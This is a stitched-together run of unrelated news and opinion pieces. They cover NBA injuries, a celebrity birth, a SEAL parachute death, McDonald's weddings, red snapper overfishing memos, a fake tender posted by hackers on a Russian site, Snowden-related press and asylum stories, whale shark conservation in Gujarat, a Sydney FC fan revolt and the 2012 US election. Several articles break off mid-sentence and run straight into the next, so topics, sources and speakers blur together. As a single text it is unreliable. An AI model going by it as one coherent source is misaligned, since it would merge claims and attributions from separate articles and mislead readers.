After the game, Joseph Goodman of The Miami Herald provided an update:
In years past, Bosh going down with an injury was something the Heat were capable of overcoming thanks in large part to the presence of LeBron James. Things have obviously changed with James' return to the Cleveland Cavaliers, which placed a greater emphasis on the play of the veteran big man.
He's taking on a greater role at both ends of the floor. In turn, any type of extended absence would be cause for concern in Miami.
The Heat do feature some depth on the interior. Shawne Williams, Udonis Haslem and Chris Andersen should all receive an uptick in minutes should Bosh remain sidelined. But none of them possesses the all-around offensive skill of the Georgia Tech product.
Moreover, it's going to further increase the burden on Dwyane Wade. Miami's longtime leader has seen his minutes decrease in recent years in an attempt to keep him healthy. If Bosh can't go, he will take on more of the offensive load and could see a minutes hike as well.Jennifer Garner & Ben Affleck Welcome Another Daughter
Congratulation to actressand husbandon the birth of their second child on January 6, 2009. Jennifer's repsaid that the couple "gave birth to a healthy baby girl." No further details have been released.
Ben and Jen, both 36, have a beautiful three year old named Violet, who by the way has killer dimples and isn't afraid to show them off - just like her mommy. The couple married in June 2005.
Jennifer's former Alias co-star Victor Garber gave her high praise when it comes to her parenting skills saying, "She knows what to do. She's probably the best mother I have ever witnessed."
We send Jennifer, Ben, Violet and new baby our best wishes.
Check out the photo gallery below.
Photos: WennThe last several weeks have seen some very unfortunate changes in the geopolitical realm where privacy is concerned. We’ve seen a number of oppressive laws enacted and others meant to protect our rights, disbanded in the short space of about a month. The fight for our privacy marches forward and this means a demand for more action from you and me.
As a result of these events, this project has been getting a lot of attention from some surprisingly large and well respected news outlets and privacy organizations. It’s been my privilege to help educate and provide data for people to make wise decisions when it comes to their privacy. This recent wave of attention has taken basically all of my free time in order to keep the site up and everyone’s questions answered! However, in order to focus on That One Privacy Site and my research for this project, I’m afraid that means I need to let go of some other responsibilities.
So, the announcement: As of today, I will be stepping down from my mod duties on Reddit in order to better focus on That One Privacy Site. I have handed off my duties to the other capable mods there and I have full confidence in their ability to barricade those subs from the shills that plagued them previously. (I will still be active in the community there).
TLDR: We have a heck of a fight ahead of us over the next several years, and so I will be shifting attention from my mod duties on Reddit – to better focus on this project.
If you like the project and find my work useful, please consider donating – your generous contributions help pay for the hosting, tools, and time I need to do my research and keep the data fresh.Another SEAL was injured in "routine military free-fall" jump. Authorities said they collided.
Pinal Airpark, northeast of Tucson, where the U.S. Special Operations Command has a parachute testing and training facility. One SEAL died and one was injured Thursday after a midair mishap. (Photo11: U.S. Geological Survey)
A Navy SEAL was killed and another injured Thursday in a parachute-training accident in Arizona, the Pentagon said Friday.
The senior enlisted officer was pronounced dead at the University of Arizona Hospital. The injured SEAL was listed in stable condition.
The dead SEAL's name will not be released until 24 hours after his family has been notified, which is standard military policy.
Both officers were from an East Coast Naval Special Warfare Unit, the Associated Press said.
The SEALs were practicing "routine military free-fall training" at the U.S. Special Operations Command's facility at Pinal Airpark in Marana, northeast of Tucson, said spokesman Kenneth McGraw. Authorities told the AP they collided in midair.
Earlier this month, a military training accident in Nevada killed seven Marines when a mortar exploded inside a tube before launching.
Read or Share this story: http://usat.ly/10kHHCz"
by Sam Smith
He came to Hoffman Estates; he saw Delaware; he conquered the doubts. Veni; vidi; vici; And now with victory in hand, Jerian Grant likely returns to the Bulls with the highest scoring game in the short Windy City Bulls history after scoring 34 points in Saturday’s Windy City 121-110 win over the Delaware 87ers.
“Nothing like getting game reps no matter what level,” Grant said. “Get in there, get some conditioning; played more than 40 minutes. Just staying ready in a game type situation. I just wanted to go out and play and do what I do, work on a little bit of everything; it felt good to be out there. We have a lot of guys up there (with the Bulls) who have the ball in their hands the majority of the game; for me to be in that second unit, or if I get a chance to be in that starting unit again, just wanted to show I can make plays like I did |
2,000 low- and moderate-income families interested in homeownership on an annual basis. MHANY and CNYCN are also part of the city-sponsored collaborative that purchased 24 distressed mortgages from HUD in 2016.
“The Interboro Community Land Trust provides a mechanism that will balance access to affordable homeownership for low- and moderate-income New Yorkers with opportunities for building equity that can finance future homeownership, education or other personal needs,” said Ismene Speliotis, MHANY executive director, in the announcement.
Meanwhile, since its inception in 1973, UHAB has helped more than 1,350 housing cooperatives, creating homeownership opportunities for more than 30,000 families.
Going beyond the existing stock of affordable housing will be challenging for Interboro CLT. According to a Furman Center/Citi report on homeownership in NYC, only 9 percent of homes on the market in 2014 were affordable for the 51 percent of New Yorkers earning less than $55,000 a year; only the top quarter of New Yorkers who make more than $114,000 a year could afford the average $575,700 sales price of a coop, condo or a family home with one to three units in 2014.The lucky brides queue for their extra-value meals (Picture: McDonald’s)
We think Cheryl Cole’s missed a trick with her quickie wedding on Macaroni Beach in Mustique. Just look at what she could have had – her very own McWedding (Drive Thru or marry in).
Yes, McDonald’s has the answer for all those normcore brides out there. Well, at least the ones willing to travel to Hong Kong. The fast food chain has been slowly expanding its wedding party program since 2011 and now boasts 11 restaurants that double up as budget wedding venues, all in Hong Kong.
And not only can you have the wedding ceremony there, they’ll also host the reception and your anniversary party (so you can relive the McMemories)
Their eyes met over a strawberry milkshake (Picture: McDonald’s)
Apparently, the service was introduced in Hong Kong ‘due to popular demand’ with many couples ‘wishing to bring their romantic story full circle’ by marrying where they first started dating, according to McDonald’s spokeswoman Jessica Lee.
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There aren’t currently any plans to roll it out to other countries, although one Bristol couple, Steve and Emily Asher, did choose to have their wedding reception at the Cribbs Causeway branch of Maccy D’s last year so there’s a potential market in the UK.
Happy couple Miki and Chris pose with their apple pie cake (Picture: McDonald’s)
In case you’re interested, the super-size ‘Love Forever Party’ wedding package costs HK$9,999, or just over £750, and includes a two-hour restaurant rental, 50 wedding invites, ANY McDonald’s food up to the value of £250 (that’s £5 per head so fill your boots), a pair of McDonald’s balloon wedding rings, a McDonald’s double apple pie box cake display and a party MC.
And, yes, you can have fries with that.
Advertisement AdvertisementMemos reveal plan to draw criticism from fishermen, NGOs by extending the recreational season
Internal memos between Earl Comstock, director of Policy and Strategic Planning for Commerce, and Secretary of Commerce Wilbur Ross reportedly show that both men intentionally violated the Magnuson-Stevens Act, knowing that extending the recreational red snapper fishery from three to 42 days this summer would lead to significant overfishing.
“It would result in overfishing of the stock by 6 million pounds (40 percent), which will draw criticism from environmental groups and commercial fishermen,” wrote Comstock, in a June 1 memo to Ross. “However NMFS agrees that this stock could handle this level on a temporary basis.”
The memos were released as part of an Ocean Conservancy and Environmental Defense Fund lawsuit filed against the Department of Commerce.
“Congress would need to act to prevent reduced catch limits for all fishing sectors next year. This problem will not be able to be addressed through the fishery management system without a change of law,” Comstock said, adding that inevitable overfishing would “put the ball squarely in the court of Congress.”
It is implied in the memos that the overfishing crisis would lead to a Magnuson-Stevens Act reauthorization that leaned toward favoring recreational interests.
“We now have alarming proof that the Department of Commerce knew their decision was illegal, would result in overfishing, and would hurt fishermen by causing significant reductions in fishing next year,” said Meredith Moore, director of the Fish Conservation Program at Ocean Conservancy. “We need solutions that keep our oceans healthy for the long term, not short-term workarounds that bypass the law and benefit some at the cost of others.”Image caption Hackers previously issued a fake notice saying that the Kremlin was up for sale
Hackers have targeted Russia's public contracts website and posted a fake tender offering control of the country for six years, it's reported.
An official-looking notice appeared on the government-run site on Thursday calling for bids to "rule the Russian state and turn a profit for yourself, your friends and your relatives", the Ura.ru news website reports. The mock document has since been removed, but not before several news websites took screenshots. It offered control over the whole of Russia, "a population of 146 million people, lots of oil, gas, forests, land and whatnot".
The post had a clear political bent - for the hefty sum of 50.5 trillion roubles ($860bn; £570bn), the "winning" bidder would take control for six years, the same length as a presidential term, the Newsru website reports. It also described the country as being "burdened" with millions of officials "who also have the right to their share of the income from the Russian Federation".
A group calling itself the Ural Cyber Partisans said in a separate document uploaded to the site that it was behind the hacking, and that selecting Russia's ruler by public tender is "more honest than holding elections with a predictable result". The group is thought to have been behind a similar stunt on the same government website earlier this year. On that occasion a fake notice said the Kremlin was up for sale, in order to raise money for separatist rebels in eastern Ukraine.
Next story: 'Pay with blood' at Transylvania music festival
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.UBC’s engineering students are on a roll today with their pranks to show off their skills creatively.
SEE ALSO: Volkswagen Beetle placed atop UBC clock tower by engineering students
This morning, Engineering Dean Marc Parlange opened the door to his office only to find that it had been “mysteriously renovated” overnight into a small janitor’s closet fully outfitted with cleaning equipment and supplies.
Photo of Dean Marc Parlange standing on the other side of the “new office.”
Image: UBC Engineering
It does not appear anyone will get in trouble for this. Photos and videos posted by UBC Engineering staff, who were involved in the stunt, on the faculty’s Facebook page show an highly amused and laughing dean being a good sport about it.
This was not the only prank pulled overnight. This morning, students woke up to find that engineering students had raised a Volkswagen Beetle to the top of the 140-foot tall campus clock tower. No word yet on who and how the car will be brought down, nor is there any knowledge of how the students completed the office “renovation” without being caught red handed.
The pranks are part of a long-running, annual tradition of engineering week festivities. In previous years, they went as far as dangling a Beetle car off the bridge deck of the Lions Gate Bridge.
Featured Image: UBC EngineeringPoliticians who signed off on TARP lived to regret the day they did (especially Republican ones, just ask Bob Bennett and Mike Castle). Those votes will haunt the congressmen who supported the bailouts for years to come. That's the same exact thing that's going to happen to politicians who sell out the middle class by agreeing to cut Social Security.
The chairmen of the Deficit-Reduction Commission just released a report that recommends that we cut benefits for current retirees by 3 to 6% and eventually raise the retirement age to 69. Why not make it 89 while you're at it? At that point, Social Security will be completely solvent forever because only three people will live long enough to collect it. Remember, it's not just that you can't retire till later, it's that you don't get benefits for those extra two to four years - that's a huge cut of your Social Security.
Plus, to add insult to injury they also propose to cap Medicare. Some worry this might even lead to rationing. This helps because the cuts to Social Security didn't hurt enough.
These are all non-starters. Social Security currently has a $2.5 trillion surplus. Anyone telling you otherwise is lying. They have created a fake crisis about Social Security not being able to pay full benefits by 2037. So, the answer is to shred benefits now? How does that help?
Of course, this proposal doesn't help you to collect the Social Security payments that you're owed after a lifetime of paying into the system. It helps them rob you. Now, those are stark terms, but totally justified when you consider the second part of this so-called Deficit-Reduction Commission. Instead of addressing the deficit by doing spending cuts and tax increases (both painful and both necessary to reduce deficits), they actually cut taxes. That's mental. That makes the deficit much, much worse.
They propose to cut the top rate from 35% to 23% for the personal income tax, and the corporate tax rate would get cut from 35% to 26%. What an unbelievable joke. So, you have to cut Social Security and Medicare because you just had to give the rich one more gigantic tax cut? They'll claim they are getting rid of some tax exemptions and credits, but that doesn't come close to making up for the tax cuts they have proposed.
But we have to thank them for making their intentions undeniably clear. This Deficit-Reduction Commission has nothing to do with the deficit. It never did. I was always thought it was an excuse to cut Social Security to pay for the tax cuts that went to the rich and ate up the Social Security surplus. It turns out, it's more audacious than that. It cuts Social Security to pay for whole new round of tax cuts for the rich. The balls on these guys.
A new poll out by PPP indicates that when asked how to balance the budget, 43% of real Americans said tax the wealthy, 22% said cut defense spending and only 12% said cut Social Security. They didn't stutter. That's crystal clear. If some of our current politicians make the mistake of backing these cuts for Social Security, those numbers are going to come back to bite them. And they'll be our former politicians. I, for one, will work the rest of my life to kick out of office anyone who signs off on this robbery. I don't give a damn what party they claim to be from. That includes the president.
Through all of my frustrations with the president, I have never called for a primary opponent against him in 2012. And I don't know any other established progressive that has. If he pushes for this plan, he should definitely get a primary challenger. Because I couldn't vote for a guy who agreed to rob the middle class like this. This is definitely the last straw. If he does this, then he was never on our side to begin with.The Brits and the Yanks have long enjoyed a “special relationship,” and the bond between The Guardian and The New York Times is certainly special.
But when it comes to printing stories based on top-secret documents supplied by Edward Snowden, the relationship between the British and American media outlets occasionally seems frayed as well.
In the summer of 2013, as the British government moved to destroy The Guardian’s classified cache provided by the National Security Agency whistleblower who fled to Russia—going so far as to dispatch a wrecking crew to the paper’s London offices to shatter computer hard drives with drills and chisels—Guardian Editor in Chief Alan Rusbridger arranged for the tens of thousands of documents to be shared with and protected by the Times in New York, beyond the reach of British authorities.
The cooperative arrangement initially resulted in several eye-popping stories for both newspapers, including the Times’s Snowden-based exposé of how American and British intelligence operatives were data-mining the popular Angry Birds smartphone app to reveal all sorts of personal information about users.
The spies had also figured out, the Times reported, how to squeeze personal data from Flickr, Facebook, and Twitter accounts, among other social media.
That was in January.
But nine months later, according to Times newsroom employees who spoke on condition of anonymity, some reporters and editors at the U.S. newspaper are unhappy because of the agreement that Times editors struck with Rusbridger in 2013. It gives The Guardian total control over the Snowden cache, including how and when it can be used to develop, pursue, and publish investigations.
They say The Guardian has been dragging its feet on the pursuit of NSA-related stories while keeping the Times on a short leash. “People feel shackled,” a Times staffer told The Daily Beast.
On Monday, responding to the report of grumbling in his newsroom, Times Executive Editor Dean Baquet was at pains to downplay the tensions.
“Are there disagreements? Of course there are,” Baquet said in an interview. “In the case of Snowden, we’re talking about two big independent newspapers in separate countries, with very different laws and also with a little bit of a different story sense… But have there been fights? No. I don’t feel held captive by The Guardian, because I wouldn’t have access to these particular documents without The Guardian.”
Baquet—who, as Washington bureau chief in 2007, worked cooperatively with The Guardian on the WikiLeaks revelations—denied that the Times would have been ready to publish certain Snowden-based stories but for The Guardian’s veto.
He was vague on whether the Times, with The Guardian’s assent, has planned any specifically Snowden-related reports. But he said that in a meeting two weeks ago in New York with Rusbridger and Katharine Viner, the recently named editor in chief of The Guardian’s U.S. edition, they discussed “a couple of areas” of potentially promising Snowden-related reporting.
Rusbridger, meanwhile, said by phone from London: “I feel we’ve worked cordially, according to the agreement that we discussed in the summer of last year. And we continue to work cordially.”
Playing second fiddle to a competitor is an unusual, and deeply uncomfortable, position for the Times, which is arguably the most influential outlet in American journalism and prides itself on setting the agenda for everyone else.
But when the 29-year-old Snowden was looking for sympathetic and trustworthy journalists to sound a global alarm on what he considered illegal NSA snooping on millions of private individuals, he chose Glenn Greenwald, then of The Guardian, and documentary filmmaker Laura Poitras, as well as the Washington Post's Barton Gellman.
The Times was initially caught flatfooted in June 2013 when The Guardian splashed its first blockbuster based on Snowden’s revelations about the NSA’s widespread surveillance program, vacuuming up the metadata of billions of cellphone calls and texts, emails and personal computers.
Gellman, who also enjoyed a close working relationship with Snowden, soon followed with world-shaking stories of his own—and Gellman and Greenwald shared the 2014 Pulitzer Prize for Public Service, among other laurels.
For the Times, which had won four Pulitzer Prizes in 2013, the Snowden slip-up was a bitter pill to swallow. Enter Alan Rusbridger, with a plan to help The Times recover.
In a summer 2013 meeting with Jill Abramson, then executive editor, and Baquet, then managing editor, Rusbridger offered to share The Guardian’s Snowden cache, on the condition that the British paper would retain control of the documents, even while the American paper had physical custody.
The reason, Rusbridger explained, was that he was duty-bound to honor The Guardian’s agreements with its source—Snowden—on how the documents would be used, and Rusbridger had to be in a position to strictly enforce the terms.
The Times editors quickly accepted Rusbridger’s proposal, and Abramson’s abrupt firing as executive editor in May did nothing to alter the arrangement.
“To be perfectly frank,” Baquet said in the interview, “we would not be competitive on the story if The Guardian had not let us join them. That’s just the reality.”
Baquet said that while The Times has also produced Snowden-related stories working with Poitras, independent of The Guardian, “we wouldn’t be players on the story if it wasn’t for The Guardian.”
He added that if the agreement eventually proves untenable, “we could walk any time.”“My first memory of whale sharks is when I was 10 years old, traveling from Mombasa to Bombay via Porbandar on a ship," recalls Mike Pandey, an Indian wildlife filmmaker who was born in Kenya. He had seen these majestic creatures—the world’s largest fish—swim alongside his ship during the week-long journey in the Indian Ocean.
Decades after, when a middle-aged Pandey drove along the Gujarat coastline asking people about the “big fish", which did not have a local name, no one knew what he was talking about. Then, in 1996, a builder of fibreglass boats in Bhavnagar described the beautifully patterned fish accurately and said that in some villages, people hunted it on occasion. Locals did not eat the fish, but they used oil from the liver to waterproof wooden boats.
Perhaps the boat-builder was unaware of more recent developments: From 1991 onwards, whale sharks had been killed in large numbers in Gujarat, fuelled by the demand for their fins and meat in South-east Asia and Europe.
In any case, after the chat with the builder, the quest began in earnest. In 1998, Pandey sighted his first whale shark in the murky waters of the Veraval harbour. As large as a trawler, it lay cut open. Two men who had clambered on were hacking at its insides. As life ebbed out of the hapless fish, Pandey remembers making a silent pledge: he would save the gentle giants of the Gujarat coast.
That would take some doing.
Like the blue whale, the migratory whale shark, or Rhincodon typus, which inhabits tropical and warm, temperate seas worldwide, feeds largely on plankton. It does not attack humans, but people eat its meat. In China, for instance, it has been dubbed “tofu shark"; shark fin soup is a prized delicacy in Chinese cuisine. The fish can live up to a 100 years but produces offspring only once every few years. Overfishing, which can push populations of this species to ruinous lows, remains the biggest threat to its existence.
A whale shark campaign at a school in Anand, Gujarat in July 2005. Photo: Vidyanagar Nature Club/WTI
By the turn of the 20th century, there was an international market for different parts of the whale shark—a set of fins alone could fetch close to $1,000. In Gujarat, the middlemen had moved in for the kill. The fish did have a local name, “barrel"—after the plastic drum used to haul it ashore. Yet scientists Pandey spoke to maintained that whale sharks did not visit these shores, so the slaughter could not be happening.
Pandey’s crew went about filming the hunting of the whale shark. In 2000, the resulting documentary “Shores of Silence" won the Wildscreen Panda Award, the equivalent of the Oscar for natural history films (watch it here) One year later, after intense lobbying, the Indian government banned the killing of whale sharks.
That was not all. In 2002, at a gathering of the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES), even as the conference was winding down, the panel agreed to a re-vote on whale sharks. After watching Pandey’s documentary, an overwhelming majority voted to put the fish on a list of species not in immediate danger of extinction, but in need of trade restrictions in order to ensure their survival.
In India, the whale shark was already on a par with the charismatic tiger, as far as legal protection goes. But three years into the ban, a survey along the Gujarat coast showed that even in Veraval, the hub of the whale shark fisheries, few knew of its status.
A “Save the Whale Sharks" movement was launched in Gujarat in 2004, to change attitudes towards the fish that visits its shores from September to May. The campaign was a joint venture of the Wildlife Trust of India-International Fund for Animal Welfare (WTI-IFAW), Tata Chemicals Ltd and the Gujarat forest department.
Whale shark, the largest known fish species. Photo: Venkat Charloo
Morari Bapu, a spiritual leader revered by many in Gujarat, became a campaign ambassador. At the launch, he spoke about the tradition of non-violence and the idea of honouring guests. Warming to the theme, he equated the visits of whale shark to a beloved daughter coming home to give birth to her child.
This metaphor became the theme for a street play which featured a fisherman, a potential hunter of whale sharks, whose pregnant daughter comes home to deliver her baby. The plot linked the fate of the fish and that of the daughter, so ultimately the fisherman resolves to save and protect both.
With the play becoming a hit in the fishing villages, the fish known as “barrel" became vhali, meaning “dear one", which was the name of the daughter in the play. A 4oft inflatable whale shark, which served as the backdrop, drew in the crowds. Inland, too, kids loved the life-sized model of vhali. They touched it and wanted to know more about the fish.
Porbandar, the birthplace of Mahatma Gandhi, was the first to adopt the whale shark as its mascot. Other coastal towns, including Veraval, followed the lead.
In September 2004, a whale shark accidentally caught in the nets of a trawler off the coast of Dwarka was the first beneficiary of the awareness drive. The owner of the trawler, Kamlesh Chamadia, knew what he had to do. “It is such a gentle fish that it remained still even when it was entangled in the nets," he had said in an interview with the campaign coordinator, Rupa Gandhi, “our crew had to climb over it to cut some parts of the nets to release it. "
Freeing vhali came at a cost to fishermen. The obvious one was the price of the fishing nets, which was close to Rs25,000. Then there were incidentals: the massive fish displaced the catch of the day, and the rescue was intricate, time-consuming work involving the labour of many.
Despite all this, most fishermen did the right thing. In 2006, the government came up with a scheme to compensate them for the damage to the fishing nets. But a forest official would have to be summoned to the scene of the rescue to inspect the evidence.
Waiting for the official would increase the trauma of the trapped animal and lower its chances of survival. So, in 2012, the conservationists began distributing tamper-proof cameras to fishermen. They could self-document the event and make claims.
After the compensation scheme kicked in, fishermen in Gujarat have rescued close to 700 whale sharks, some of which were newborn pups. The WTI research team, which presented the data at a prestigious whale shark conference last year, believes that nearly all rescued fish survived the trauma. They lived, if you will, happily ever after.
“India is most likely the world leader in releasing whale sharks caught accidentally," says Simon J. Pierce, a marine biologist who is also co-founder of the Marine Megafauna Foundation, a research and conservation organization formed with the goal of saving whale sharks from extinction.
“Scientific efforts from Wildlife Trust of India to monitor the movements of whale sharks after they are freed are hugely important," he says over email.
Unlike whales, which are mammals, whale sharks, which are fish, don’t have to come up for air periodically. As they dive deep, their journeys are largely invisible to humans. Feeding mobs, consisting mostly of male whale sharks, do gather along certain coasts annually, but where do the males and females meet? Where are the favoured breeding grounds?
With a better understanding of the creature’s movements and its life stages, conservationists can come up with better strategies to save this species migratory across national boundaries.
Rescue operations offer researchers a chance to pin satellite tags onto the fish’s fins. The devices track and transmit data about the depths to which the fish dive, the distances they cover. Right now, a whale shark tagged by the WTI team is making its way towards Africa.
Sajan John, head of the marine division at WTI, says his field team also conducts off-shore surveys of free-swimming whale sharks. They scrape tissue samples from the entangled fish for genetic testing.
Every bit of data helps. Last year, Pierce led the team whose efforts saw the recognition of the whale shark as a globally endangered species. Since then, he says, all available scientific data on the sharks’ movements and biology have been collated to support a nomination to list the species on Appendix I on the Convention of Migratory Species.
If that nomination is approved this October, it could lead to enhanced protection for whale sharks in a number of countries in the Indian Ocean where no conservation plans are in place.
Passing a law to halt whale shark fishery, however, is only the first step.
The species, for instance, is protected under Chinese law, but there is, Pierce says, a large unmonitored catch of whale sharks—estimated to be hundreds of sharks per year—in the South China Sea. This is a major threat to whale sharks in that region and potentially further afield.
In Gujarat, the killing of whale sharks may have stopped, attitudes and behaviours changed. But clearly, much more remains to be done elsewhere to make the oceans safe for its gentle giants.
Readers interested in helping to protect whale sharks can head to www.wti.org.in.
Vijaysree Venkatraman is a freelance science journalist based in Boston. Her Twitter handle is @vijeescijo
Comments are welcome at [email protected] An Ecuadorean diplomatic employee issued a safe conduct pass for National Security Agency leaker Edward Snowden to travel to Ecuador to seek political asylum, but the action was unauthorized and the pass has no validity. (June 27) AP
NSA leaker Edward Snowden seeks asylum from Ecuador, says fair trial 'unlikely' in U.S. courts.
Fernando Alvarado, Ecuador's communications minister, says Thursday that Ecuador is renouncing trade preferences that are up for U.S. congressional renewal. (Photo: Dolores Ochoa AP) Story Highlights Ecuador 'does not accept threats from anybody'
U.S. lawmakers warns a trade deal might not be renewed if Snowden gets asylum
Snowden's request for asylum could takes months to resolve
Ecuador said Thursday it is renouncing a trade pact up for renewal by the U.S. Congress because it had become a "new instrument of blackmail" involving the fate of an NSA leaker who has asked for political asylum from the South American country.
Edward Snowden, who was employed by Booz Allen Hamilton as a National Security Agency systems analyst in Hawaii, requested political asylum from Ecuador after fleeing to Hong Kong last month with top-secret documents and court orders on U.S. government surveillance operations.
In requesting asylum, Snowden said in a letter to Ecuador that it was "unlikely" that he would get a fair trial in U.S. courts.
He also noted he could face life in prison or the death penalty if convicted under the U.S. Espionage Act, Foreign Minister Ricardo Patino said on Monday.
STORY: Ecuador exporters worried about Snowden fallout
STORY: Report says Snowden slammed leakers in '09
Snowden, 30, is believed to still be in the transit area of Moscow's Sheremetyevo airport where he landed on Sunday after leaving Hong Kong, possibly en route to Ecuador.
Russia has refused to extradite Snowden, whose U.S. passport has been revoked, but also appears reluctant to allow him to enter the country formally.
On Wednesday, Sen. Bob Menendez of New Jersey, chairman of the Senate Foreign Relations Committee, said that if Ecuador grants Snowden asylum, "I will lead the effort to prevent the renewal of Ecuador's duty-free access under GSP and will also make sure there is no chance for renewal of the Andean Trade Promotion and Drug Eradication Act."
The pact, initially aimed at helping Andean countries in their fight against drugs, reduces tariffs on hundreds of millions of dollars' worth of trade in products such as cut flowers, artichokes and broccoli. Nearly half Ecuador's foreign trade depends on the U.S.
Under the terms of the pact, Ecuador exported $5.4 billion worth of oil to the USA last year.
Communications minister Fernando Alvarez told a news conference in the Ecuadoran capital Quito that the pact, which already faced an uphill battle for renewal, had become "a new instrument of blackmail."
He said his country of 15 million people "does not accept threats from anybody, and does not trade in principles, or submit to mercantile interests, as important as they may be."
"In consequence, Ecuador unilaterally and irrevocably renounces said preferences," he said.
Although Ecuadoran officials have said Snowden's asylum request could take weeks to process, WikiLeaks spokesman Kristinn Hrafnsson said on Monday that Snowden was "fairly optimistic'' that Ecuador would grant the request.
In a pointed jab at Washington over Snowden's revelations on data-gathering by NSA, Alavarez said Ecuador offered $23 million per year to the United States to finance human rights training.
He said the money would be aimed at helping "avoid violations of privacy, torture and other actions that are denigrating to humanity."
Last year, Ecuador extended asylum to WikiLeaks founder Julian Assange, who is holed up in the Ecuadoran embassy in London to avoid extradition to Sweden to face questioning on a sexual assault investigation.
Contributing: Girish Gupta, in Quito; Associated Press
Read or Share this story: http://usat.ly/16BO7ClThe head of Sydney FC's official supporters group The Cove will hand back his membership on Monday morning in protest at the current administration and said an apology from the chief executive and chairman issued on Sunday may not be enough to repair the fractured relationship between supporters and the club.
Relations between Sydney FC and The Cove hit rock bottom on Sunday after fans revolted during Saturday night's 3-0 loss to Adelaide, a result which means Sydney have now taken four points from a possible 24 in their last eight games.
After fans unveiled banners calling for the removal of coach Frank Farina, CEO Tony Pignata and chairman Scott Barlow at kick-off, some were ejected from the ground by security, prompting an exodus of home supporters, who staged an impromptu protest outside the ground.
Senior Cove figures vowed not to attend games until a new administration is brought in. ''I will not go back to the stadium, not with the current management,'' said Brendan Slowey, leader or ''capo'' of The Cove. ''I've been the capo for around five or six years and I will go to away games, but I will not put another dollar into [the owner's] pocket.''(CNN) -- One of "CSI's" original cast members will soon wash his hands of all those crime scenes.
According to TVGuide.com, star George Eads will exit CBS' long-running drama at the end of its current season. Eads has played Nick Stokes on the series since "CSI's" pilot in 2000, and is the last remaining original cast member.
After getting used to seeing Eads as Nick Stokes for almost 15 years, fans aren't thrilled about saying goodbye.
"D**n. Mostly the reason I still watched," tweeted one fan about his upcoming departure.
"Sad to hear George Eads is departing from 'CSI.' I met him while he was filming years ago and he showed a genuine kindness I greatly admire," shared another.
Although Eads' time on "CSI" hasn't been trouble-free -- he took a leave of absence last year after a tiff with a writer -- TVGuide.com indicates that his departure is amicable. As of now, fans can expect for Nick Stokes' story to wrap up with the conclusion of the Gig Harbor Killer case.
"CSI" is currently in its 15th season, which was recently cut down from 22 episodes to 18 in order to make room for CBS' new "CSI" spinoff, "CSI: Cyber."
That series, which stars Patricia Arquette as the head of the FBI's cyber crime division, will debut in 2015.“HOW’S that hopey-changey stuff working out for you?” Sarah Palin, the Republican vice-presidential candidate at the last election, memorably asked in 2010, mocking Barack Obama’s airy campaign slogans of two years before. On November 6th many voters will be asking themselves more or less the same question, when they decide whether or not to award Mr Obama a second term. The slogans have become no weightier over the past four years—Mr Obama now wants to go “Forward”; his rival, Mitt Romney, prefers to “Believe in America”—but the stakes are, if anything, higher. The gulf that separates the policies of the two candidates and their parties seems wider than in any election in living memory.
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Mr Romney wants a much smaller government (except when it comes to throwing America’s weight around overseas, where he wants to boost defence spending from 3.4% of GDP to a target of 4%). To that end, he proposes to lower taxes, dramatically cut spending on everything other than the armed forces, adopt a balanced-budget amendment, repeal Mr Obama’s health-care reforms and overhaul big “entitlement” programmes such as Medicare, Medicaid and Social Security—the government schemes for, respectively, health-care for the elderly and the poor, and pensions. Even food stamps, the last refuge of America’s poorest, would be on the chopping block. Mr Obama, who recently said that “the country doesn’t need radical changes,” opposes all those things. He, too, promises to reduce the deficit—but without reaching for a cleaver. By keeping tax rates stable for most and raising them for the rich, he says he can reduce the public debt while spending more on infrastructure and education, among other things.
In addition to this basic dispute about the size of the state, the pair disagree on just about everything else. There are the typical fissures on “values”: Mr Romney wants to ban gay marriage and, in almost all cases, abortion, although neither step is in the president’s power. Mr Obama is resolutely pro-choice and, after much dithering, now says he supports gay marriage. Immigration is another fault-line. Mr Obama has issued a reprieve for certain illegal immigrants living in fear of deportation, and says he would like to do more, if only Congress would go along. Mr Romney wants to make life so miserable for all those in the country without permission that they will “self-deport”, although he also pledges to expand legal immigration.
Mr Romney is also a foreign-policy hawk. He complains that Mr Obama spends too much time apologising for his country. He promises to cow countries that have crossed America, including China, Iran, Russia and Venezuela, and to bolster its allies, chief among them Israel. Mr Obama dismisses his rival as inexperienced in such matters, and his talk as “blustering and blundering”. Recent gaffes by the Republican candidate have tended to reinforce the president’s argument.
Yet another stark difference concerns global warming. Mr Obama tried to get Congress to curb greenhouse-gas emissions through a cap-and-trade scheme. When that failed, his administration continued to pursue regulation to the same end under the Clean Air Act. Mr Romney wants to amend the act to make that impossible, and says the causes and effects of global warming are too uncertain to justify expensive remedies.
It’s still the economy
There is plenty for voters to mull on, in other words. They seem to have been finding the decision wrenching. Most polls have shown the two candidates within a whisker of one another for months, although Mr Obama has recently showed signs of pulling away. Americans do not often turf out sitting presidents: over the past 70 years, only three—Gerald Ford, Jimmy Carter and George Bush senior—have been shown the door after one term.
Conversely, a weak economy is normally thought to be the biggest threat to an incumbent, and it has been over 70 years since unemployment was so high at the time of an election. Mr Obama himself said in 2009 that if he failed to sort out the economic mess he had inherited, his presidency would be a one-term proposition.
That has given Mr Romney hope, and a strategy. He has relentlessly criticised Mr Obama for his poor stewardship of the economy. The president’s stimulus, he says, has yielded lots of debt but no growth; median incomes are down (by 4.6% since mid-2009); his health-care reforms are burdening small businesses; environmental regulations are strangling America’s energy output. Mr Romney has seized on a remark the president made, “You didn’t build that!”—making the point that even the most successful of entrepreneurs relied in some measure on government services to build their businesses—to suggest that Mr Obama is hostile to entrepreneurship itself. The president may have inherited a grim outlook in 2008, the argument runs, but his policies have made it worse.
This attack resonates. Big majorities of Americans tell pollsters that the country is heading in the wrong direction. One of the few realms of policy on which voters have tended to rate Mr Romney more highly than Mr Obama is the economy, though recently that has shifted slightly. Crucially for Mr Romney, that economic discontent is shared by Americans of all stripes: young and old, rich and poor, male and female, white and minority.
Mr Obama has tried to counter this by highlighting policies he has championed to help each of those slices of the population. Women, he says, are better off thanks to an act he signed making it easier for them to sue for equal pay, and thanks to clauses in his health-care reforms obliging insurers to offer at no extra cost preventive measures such as breast-cancer screenings and, controversially, birth control. Hispanics are reminded of the president’s reprieve for “dreamers”—illegal immigrants brought to America as children. To young people Mr Obama emphasises his expansion of grants and low-interest loans for students. To the old he harps on about his commitment to preserving Medicare in its present form, rather than adopting the sort |
